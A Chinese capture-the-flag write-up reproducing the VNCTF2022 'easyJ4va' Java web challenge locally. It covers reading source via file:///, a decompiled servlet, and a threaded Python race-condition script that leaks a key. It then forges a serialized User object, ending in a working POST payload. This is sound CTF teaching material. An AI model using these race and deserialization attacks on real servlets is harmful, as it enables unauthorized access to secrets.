VNCTF2022_easyJ4va

VNCTF2022_easyJ4va

前言

这次比赛看了这个Java题,赛中没打出来,然后现在来复现,环境关了,用之前读取到的源码重新搭建一下。

复现

访问http://localhost:8080/

1644732317340.png

F12查看一下源码,看到了/file?

1644732467415.png

访问http://localhost:8080/file

1644732692710.png

让我们输入url,这应该是url作为一个参数,尝试使用file:///协议读取源码。因为这里是自己搭的环境,就读取源码所在路径了。

1644732961894.png

一共是有6个class文件,源码文件: https://le1a-1308465514.cos.ap-shanghai.myqcloud.com/2022/02/13/9b0ad29afab28.zip

拿到源码后,来审计一下,先来看看HelloWorldServle

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
        name = "HelloServlet",
        urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
    private volatile String name = "m4n_q1u_666";
    private volatile String age = "666";
    private volatile String height = "180";
    User user;

    public HelloWorldServlet() {
    }

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

看到这里,想要获取flag的话,得先获取到key

1644735118236.png

我们跟进到Secr3t类的check方法,发现只是检测传入的name的值是否等于vnctf2022,返回一个布尔值

1644735189154.png

要怎样做到既要满足name等于vnctf2022,来获取key,又不能满足第一个if条件的name=vnctf2022呢?

来看一下y4师傅前段时间发布的文章: Servlet的线程安全问题

可以通过多线程条件竞争的方式,一个线程为真,一个线程为假,来达到在那一瞬间,不满足第一个if条件,而满足第二个if条件。写一个python脚本跑一下:

import requests
import threading

url1 = 'http://localhost:8080/evi1?name=vnctf2022'
url2 = 'http://localhost:8080/evi1?name=vnctf2021'

def one(session):
    while event.isSet():
        res = session.get(url=url1).text
        if 'Key' in res:
            print(res)
            event.clear()

def two(session):
    while event.isSet():
        res = session.get(url=url2).text
        if 'Key' in res:
            print(res)
            event.clear()

if __name__ == '__main__':
    event = threading.Event()
    event.set()
    session = requests.session()
    for i in range(1, 30):
        threading.Thread(target=one, args=(session,)).start()
    for i in range(1, 30):
        threading.Thread(target=two, args=(session,)).start()
1644736409382.png

得到Key为:TGUxYeaYrS4quWkpW4heavlO8ge8ge8gQ。接下来看一下doPost方法

1644736863410.png

需要传入一个base64,如果key正确,且传入的base64不为空的话,对base64进行解码,然后传入到textByte字节数组中,然后进行反序列化,赋给User对象u,然后将u跟之前实例化的user对象作比较,相等则给出flag。

我们按照user对象的属性来新建一个对象,并调用SerAndDe的序列化方法,然后进行base64编码,然后试着将其传入题目中的base64

User user = new User("m4n_q1u_666","666","180");
byte[] X= SerAndDe.serialize(user);
String text=Base64.getEncoder().encodeToString(X);

但是得到的结果确实null,回到User类中发现,身高属性添加了transient关键字,使其不允许被序列化,所以我们反序列化得到的结果为null。查看到这篇文章

可以通过重写writeObject方法来绕过,重新赋值一个可序列化的属性给对象

private void writeObject(ObjectOutputStream s) throws IOException{
    s.defaultWriteObject();
    s.writeObject("180");
}

随后运行刚刚的代码,发现得到的序列化结果可重新反序列化得到想要的对象属性

1644737537592.png

payload如下:

http://localhost:8080/evi1
post: key=TGUxYeaYrS4quWkpW4heavlO8ge8ge8gQ&base64=rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=

因为是本地搭建的,没有/readflag,所以改为了calc.exe便于更直观的看到效果

1644737679404.png
1644737719382.png

成功弹出计算器,复现结束。感谢@fmyyy带我呜呜呜!